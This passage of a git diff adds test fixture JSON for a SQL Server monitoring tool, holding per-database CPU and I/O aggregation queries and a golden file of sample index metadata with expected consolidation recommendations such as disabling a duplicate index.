+    "top_Hourly_oneArg": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_hourly AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "top_Hourly_unknown": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_hourly AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "top_Hourly_stitched": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(execution_count_sum) AS execution_count\n    FROM (SELECT server_id, server_name, database_name, query_hash, sql_handle, bucket, worker_time_sum, worker_time_min, worker_time_max, elapsed_time_sum, elapsed_time_min, elapsed_time_max, execution_count_sum, execution_count_min, execution_count_max, sample_count FROM collect.query_stats_hourly WHERE bucket < TIMESTAMP '2026-02-10 00:00:00.000000' UNION ALL SELECT server_id, server_name, database_name, query_hash, sql_handle, bucket, worker_time_sum, worker_time_min, worker_time_max, elapsed_time_sum, elapsed_time_min, elapsed_time_max, execution_count_sum, execution_count_min, execution_count_max, sample_count FROM collect.query_stats_interval_hourly WHERE bucket >= TIMESTAMP '2026-02-10 00:00:00.000000') AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "usage_Daily_oneArg": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(logical_reads_sum) AS logical_reads,\n        SUM(physical_reads_sum) AS physical_reads,\n        SUM(logical_writes_sum) AS logical_writes,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_db_daily AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "usage_Daily_unknown": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(logical_reads_sum) AS logical_reads,\n        SUM(physical_reads_sum) AS physical_reads,\n        SUM(logical_writes_sum) AS logical_writes,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_db_daily AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "usage_Daily_stitched": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(logical_reads_sum) AS logical_reads,\n        SUM(physical_reads_sum) AS physical_reads,\n        SUM(logical_writes_sum) AS logical_writes,\n        SUM(execution_count_sum) AS execution_count\n    FROM (SELECT server_id, server_name, database_name, bucket, worker_time_sum, logical_reads_sum, physical_reads_sum, logical_writes_sum, execution_count_sum, last_execution_time_max, sample_count FROM collect.query_stats_db_daily WHERE bucket < TIMESTAMP '2026-02-20 00:00:00.000000' UNION ALL SELECT server_id, server_name, database_name, bucket, worker_time_sum, logical_reads_sum, physical_reads_sum, logical_writes_sum, execution_count_sum, last_execution_time_max, sample_count FROM collect.query_stats_db_interval_daily WHERE bucket >= TIMESTAMP '2026-02-20 00:00:00.000000') AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes) / 1048576.0 AS io_read_mb,\n        SUM(delta_write_bytes) / 1048576.0 AS io_write_mb,\n        SUM(delta_stall_read_ms + delta_stall_write_ms) AS io_stall_ms\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.logical_reads, 0) AS logical_reads,\n        COALESCE(w.physical_reads, 0) AS physical_reads,\n        COALESCE(w.logical_writes, 0) AS logical_writes,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_read_mb, 0) AS io_read_mb,\n        COALESCE(i.io_write_mb, 0) AS io_write_mb,\n        COALESCE(i.io_stall_ms, 0) AS io_stall_ms\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_read_mb + io_write_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.logical_reads,\n    c.physical_reads,\n    c.logical_writes,\n    c.execution_count,\n    CAST(c.io_read_mb AS DECIMAL(19,2)),\n    CAST(c.io_write_mb AS DECIMAL(19,2)),\n    c.io_stall_ms,\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)) AS pct_cpu_share,\n    CAST((c.io_read_mb + c.io_write_mb) * 100.0 / t.total_io AS DECIMAL(5,2)) AS pct_io_share\nFROM combined c\nCROSS JOIN totals t\nWHERE c.database_name IS NOT NULL\nORDER BY c.cpu_time_ms DESC",
+    "top_Daily_oneArg": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_daily AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "top_Daily_unknown": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(execution_count_sum) AS execution_count\n    FROM collect.query_stats_daily AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name",
+    "top_Daily_stitched": "\nWITH workload AS (\n    SELECT\n        database_name,\n        SUM(worker_time_sum) / 1000.0 AS cpu_time_ms,\n        SUM(execution_count_sum) AS execution_count\n    FROM (SELECT server_id, server_name, database_name, query_hash, sql_handle, bucket, worker_time_sum, worker_time_min, worker_time_max, elapsed_time_sum, elapsed_time_min, elapsed_time_max, execution_count_sum, execution_count_min, execution_count_max, sample_count FROM collect.query_stats_daily WHERE bucket < TIMESTAMP '2026-02-20 00:00:00.000000' UNION ALL SELECT server_id, server_name, database_name, query_hash, sql_handle, bucket, worker_time_sum, worker_time_min, worker_time_max, elapsed_time_sum, elapsed_time_min, elapsed_time_max, execution_count_sum, execution_count_min, execution_count_max, sample_count FROM collect.query_stats_interval_daily WHERE bucket >= TIMESTAMP '2026-02-20 00:00:00.000000') AS f\n    WHERE server_id = $1\n    AND   bucket >= $2\n    GROUP BY database_name\n),\nio AS (\n    SELECT\n        database_name,\n        SUM(delta_read_bytes + delta_write_bytes) / 1048576.0 AS io_total_mb\n    FROM v_file_io_stats\n    WHERE server_id = $1\n    AND   collection_time >= $2\n    AND   delta_read_bytes IS NOT NULL\n    GROUP BY database_name\n),\ncombined AS (\n    SELECT\n        COALESCE(w.database_name, i.database_name) AS database_name,\n        COALESCE(w.cpu_time_ms, 0) AS cpu_time_ms,\n        COALESCE(w.execution_count, 0) AS execution_count,\n        COALESCE(i.io_total_mb, 0) AS io_total_mb\n    FROM workload w\n    FULL JOIN io i ON i.database_name = w.database_name\n),\ntotals AS (\n    SELECT\n        NULLIF(SUM(cpu_time_ms), 0) AS total_cpu,\n        NULLIF(SUM(io_total_mb), 0) AS total_io\n    FROM combined\n)\nSELECT\n    c.database_name,\n    c.cpu_time_ms,\n    c.execution_count,\n    CAST(c.io_total_mb AS DECIMAL(19,2)),\n    CAST(c.cpu_time_ms * 100.0 / t.total_cpu AS DECIMAL(5,2)),\n    CAST(c.io_total_mb * 100.0 / t.total_io AS DECIMAL(5,2)),\n    CASE WHEN c.execution_count > 0 THEN CAST(c.cpu_time_ms * 1.0 / c.execution_count AS DECIMAL(19,2)) END,\n    CASE WHEN c.execution_count > 0 THEN CAST(c.io_total_mb * 1.0 / c.execution_count AS DECIMAL(19,4)) END\nFROM combined c\nCROSS JOIN totals t\nORDER BY c.database_name"
+  }
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsIndexAnalysis/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsIndexAnalysis/golden.json
new file mode 100644
index 0000000000..820fa21b4b
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsIndexAnalysis/golden.json
@@ -0,0 +1,1107 @@
+{
+  "inputs": [
+    {
+      "DatabaseName": "SalesDb",
+      "DatabaseId": 1,
+      "SchemaName": "dbo",
+      "ObjectId": 100,
+      "TableName": "T100",
+      "IndexId": 1,
+      "IndexName": "PK_Orders",
+      "IndexTypeDesc": "CLUSTERED",
+      "KeyColumns": "[OrderId]",
+      "IncludedColumns": null,
+      "FilterDefinition": null,
+      "IsUnique": true,
+      "IsUniqueConstraint": false,
+      "IsPrimaryKey": true,
+      "IsForeignKey": false,
+      "IsForeignKeyReference": false,
+      "IsDisabled": false,
+      "IsIndexedView": false,
+      "DataCompressionDesc": null,
+      "OptimizeForSequentialKey": false,
+      "FillFactor": null,
+      "IsPadded": false,
+      "AllowPageLocks": false,
+      "AllowRowLocks": false,
+      "UserSeeks": 12,
+      "UserScans": 6,
+      "UserLookups": 1,
+      "UserUpdates": 800,
+      "RowLockWaitCount": 3,
+      "RowLockWaitInMs": 11,
+      "PageLockWaitCount": 0,
+      "PageLockWaitInMs": 0,
+      "PageLatchWaitCount": 0,
+      "PageLatchWaitInMs": 0,
+      "PageIoLatchWaitCount": 0,
+      "PageIoLatchWaitInMs": 0,
+      "ReservedMb": 910.50,
+      "TotalRows": 51000,
+      "PartitionCount": 1,
+      "SqlServerStartTime": "anchor-401d[Unspecified]"
+    },
+    {
+      "DatabaseName": "SalesDb",
+      "DatabaseId": 1,
+      "SchemaName": "dbo",
+      "ObjectId": 100,
+      "TableName": "T100",
+      "IndexId": 2,
+      "IndexName": "IX_Orders_Cust",
+      "IndexTypeDesc": "NONCLUSTERED",
+      "KeyColumns": "[CustomerId]",
+      "IncludedColumns": "[Total]",
+      "FilterDefinition": null,
+      "IsUnique": false,
+      "IsUniqueConstraint": false,
+      "IsPrimaryKey": false,
+      "IsForeignKey": false,
+      "IsForeignKeyReference": false,
+      "IsDisabled": false,
+      "IsIndexedView": false,
+      "DataCompressionDesc": null,
+      "OptimizeForSequentialKey": false,
+      "FillFactor": null,
+      "IsPadded": false,
+      "AllowPageLocks": false,
+      "AllowRowLocks": false,
+      "UserSeeks": 77,
+      "UserScans": 9,
+      "UserLookups": 3,
+      "UserUpdates": 801,
+      "RowLockWaitCount": 6,
+      "RowLockWaitInMs": 22,
+      "PageLockWaitCount": 0,
+      "PageLockWaitInMs": 0,
+      "PageLatchWaitCount": 0,
+      "PageLatchWaitInMs": 0,
+      "PageIoLatchWaitCount": 0,
+      "PageIoLatchWaitInMs": 0,
+      "ReservedMb": 121.00,
+      "TotalRows": 51000,
+      "PartitionCount": 1,
+      "SqlServerStartTime": "anchor-401d[Unspecified]"
+    },
+    {
+      "DatabaseName": "SalesDb",
+      "DatabaseId": 1,
+      "SchemaName": "dbo",
+      "ObjectId": 100,
+      "TableName": "T100",
+      "IndexId": 3,
+      "IndexName": "IX_Orders_Cust_Dup",
+      "IndexTypeDesc": "NONCLUSTERED",
+      "KeyColumns": "[CustomerId]",
+      "IncludedColumns": "[Total]",
+      "FilterDefinition": null,
+      "IsUnique": false,
+      "IsUniqueConstraint": false,
+      "IsPrimaryKey": false,
+      "IsForeignKey": false,
+      "IsForeignKeyReference": false,
+      "IsDisabled": false,
+      "IsIndexedView": false,
+      "DataCompressionDesc": null,
+      "OptimizeForSequentialKey": false,
+      "FillFactor": null,
+      "IsPadded": false,
+      "AllowPageLocks": false,
+      "AllowRowLocks": false,
+      "UserSeeks": 0,
+      "UserScans": 0,
+      "UserLookups": 0,
+      "UserUpdates": 800,
+      "RowLockWaitCount": 9,
+      "RowLockWaitInMs": 33,
+      "PageLockWaitCount": 0,
+      "PageLockWaitInMs": 0,
+      "PageLatchWaitCount": 0,
+      "PageLatchWaitInMs": 0,
+      "PageIoLatchWaitCount": 0,
+      "PageIoLatchWaitInMs": 0,
+      "ReservedMb": 118.00,
+      "TotalRows": 51000,
+      "PartitionCount": 1,
+      "SqlServerStartTime": "anchor-401d[Unspecified]"
+    },
+    {
+      "DatabaseName": "SalesDb",
+      "DatabaseId": 1,
+      "SchemaName": "dbo",
+      "ObjectId": 100,
+      "TableName": "T100",
+      "IndexId": 4,
+      "IndexName": "IX_Orders_Unused",
+      "IndexTypeDesc": "NONCLUSTERED",
+      "KeyColumns": "[ShipDate]",
+      "IncludedColumns": null,
+      "FilterDefinition": null,
+      "IsUnique": false,
+      "IsUniqueConstraint": false,
+      "IsPrimaryKey": false,
+      "IsForeignKey": false,
+      "IsForeignKeyReference": false,
+      "IsDisabled": false,
+      "IsIndexedView": false,
+      "DataCompressionDesc": null,
+      "OptimizeForSequentialKey": false,
+      "FillFactor": null,
+      "IsPadded": false,
+      "AllowPageLocks": false,
+      "AllowRowLocks": false,
+      "UserSeeks": 0,
+      "UserScans": 0,
+      "UserLookups": 0,
+      "UserUpdates": 800,
+      "RowLockWaitCount": 12,
+      "RowLockWaitInMs": 44,
+      "PageLockWaitCount": 0,
+      "PageLockWaitInMs": 0,
+      "PageLatchWaitCount": 0,
+      "PageLatchWaitInMs": 0,
+      "PageIoLatchWaitCount": 0,
+      "PageIoLatchWaitInMs": 0,
+      "ReservedMb": 64.00,
+      "TotalRows": 51000,
+      "PartitionCount": 1,
+      "SqlServerStartTime": "anchor-401d[Unspecified]"
+    },
+    {
+      "DatabaseName": "OpsDb",
+      "DatabaseId": 2,
+      "SchemaName": "dbo",
+      "ObjectId": 200,
+      "TableName": "T200",
+      "IndexId": 1,
+      "IndexName": "PK_Jobs",
+      "IndexTypeDesc": "CLUSTERED",
+      "KeyColumns": "[JobId]",
+      "IncludedColumns": null,
+      "FilterDefinition": null,
+      "IsUnique": true,
+      "IsUniqueConstraint": false,
+      "IsPrimaryKey": true,
+      "IsForeignKey": false,
+      "IsForeignKeyReference": false,
+      "IsDisabled": false,
+      "IsIndexedView": false,
+      "DataCompressionDesc": null,
+      "OptimizeForSequentialKey": false,
+      "FillFactor": null,
+      "IsPadded": false,
+      "AllowPageLocks": false,
+      "AllowRowLocks": false,
+      "UserSeeks": 3,
+      "UserScans": 1,
+      "UserLookups": 0,
+      "UserUpdates": 40,
+      "RowLockWaitCount": 3,
+      "RowLockWaitInMs": 11,
+      "PageLockWaitCount": 0,
+      "PageLockWaitInMs": 0,
+      "PageLatchWaitCount": 0,
+      "PageLatchWaitInMs": 0,
+      "PageIoLatchWaitCount": 0,
+      "PageIoLatchWaitInMs": 0,
+      "ReservedMb": 5.00,
+      "TotalRows": 900,
+      "PartitionCount": 1,
+      "SqlServerStartTime": "anchor-401d[Unspecified]"
+    },
+    {
+      "DatabaseName": "OpsDb",
+      "DatabaseId": 2,
+      "SchemaName": "dbo",
+      "ObjectId": 200,
+      "TableName": "T200",
+      "IndexId": 2,
+      "IndexName": "IX_Jobs_State",
+      "IndexTypeDesc": "NONCLUSTERED",
+      "KeyColumns": "[State]",
+      "IncludedColumns": "[Owner]",
+      "FilterDefinition": null,
+      "IsUnique": false,
+      "IsUniqueConstraint": false,
+      "IsPrimaryKey": false,
+      "IsForeignKey": false,
+      "IsForeignKeyReference": false,
+      "IsDisabled": false,
+      "IsIndexedView": false,
+      "DataCompressionDesc": null,
+      "OptimizeForSequentialKey": false,
+      "FillFactor": null,
+      "IsPadded": false,
+      "AllowPageLocks": false,
+      "AllowRowLocks": false,
+      "UserSeeks": 0,
+      "UserScans": 0,
+      "UserLookups": 0,
+      "UserUpdates": 40,
+      "RowLockWaitCount": 6,
+      "RowLockWaitInMs": 22,
+      "PageLockWaitCount": 0,
+      "PageLockWaitInMs": 0,
+      "PageLatchWaitCount": 0,
+      "PageLatchWaitInMs": 0,
+      "PageIoLatchWaitCount": 0,
+      "PageIoLatchWaitInMs": 0,
+      "ReservedMb": 2.50,
+      "TotalRows": 900,
+      "PartitionCount": 1,
+      "SqlServerStartTime": "anchor-401d[Unspecified]"
+    }
+  ],
+  "options": {
+    "DedupeOnly": false,
+    "MinSizeGb": 0,
+    "MinReads": 0,
+    "MinWrites": 0,
+    "MinRows": 0,
+    "ServerUptimeDays": 5,
+    "ReferenceTimeUtc": null,
+    "ServerSupportsCompression": true,
+    "ServerSupportsOnline": false,
+    "CompressionMinSavingsFactor": 0.20,
+    "CompressionMaxSavingsFactor": 0.60
+  },
+  "optionsNoProperties": {
+    "DedupeOnly": false,
+    "MinSizeGb": 0,
+    "MinReads": 0,
+    "MinWrites": 0,
+    "MinRows": 0,
+    "ServerUptimeDays": null,
+    "ReferenceTimeUtc": null,
+    "ServerSupportsCompression": true,
+    "ServerSupportsOnline": false,
+    "CompressionMinSavingsFactor": 0.20,
+    "CompressionMaxSavingsFactor": 0.60
+  },
+  "analysis": {
+    "Recommendations": [
+      {
+        "DatabaseName": "SalesDb",
+        "SchemaName": "dbo",
+        "TableName": "T100",
+        "IndexName": "IX_Orders_Cust_Dup",
+        "IndexId": 3,
+        "ConsolidationRule": "Exact Duplicate",
+        "Action": "Disable",
+        "ResultKind": "Disable",
+        "TargetIndexName": "IX_Orders_Cust",
+        "SupersededBy": null,
+        "MissingIncludedColumns": null,
+        "ScriptType": "DISABLE SCRIPT",
+        "Script": "ALTER INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] DISABLE;",
+        "AdditionalInfo": "This index is an exact duplicate of: IX_Orders_Cust",
+        "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] ([CustomerId]) INCLUDE ([Total]);",
+        "IndexSizeGb": 0.115234375,
+        "IndexRows": 51000,
+        "IndexReads": 0,
+        "IndexWrites": 800,
+        "CanCompress": false,
+        "IsForeignKey": false,
+        "ScriptOmitsPartitionPlacement": false
+      }
+    ],
+    "DatabaseRollups": [
+      {
+        "DatabaseName": "OpsDb",
+        "DatabaseId": 2,
+        "TablesAnalyzed": 1,
+        "IndexCount": 2,
+        "TotalSizeGb": 0.00732421875,
+        "TotalRows": 900,
+        "IndexesToDisable": 0,
+        "IndexesToMerge": 0,
+        "CompressableIndexes": 0,
+        "UnusedIndexes": 0,
+        "UnusedSizeGb": 0,
+        "CompressionMinSavingsGb": 0,
+        "CompressionMaxSavingsGb": 0,
+        "TotalMinSavingsGb": 0,
+        "TotalMaxSavingsGb": 0,
+        "UserSeeks": 3,
+        "UserScans": 1,
+        "UserLookups": 0,
+        "TotalWrites": 80,
+        "LockWaitCount": 9,
+        "LockWaitInMs": 33,
+        "LatchWaitCount": 0,
+        "LatchWaitInMs": 0
+      },
+      {
+        "DatabaseName": "SalesDb",
+        "DatabaseId": 1,
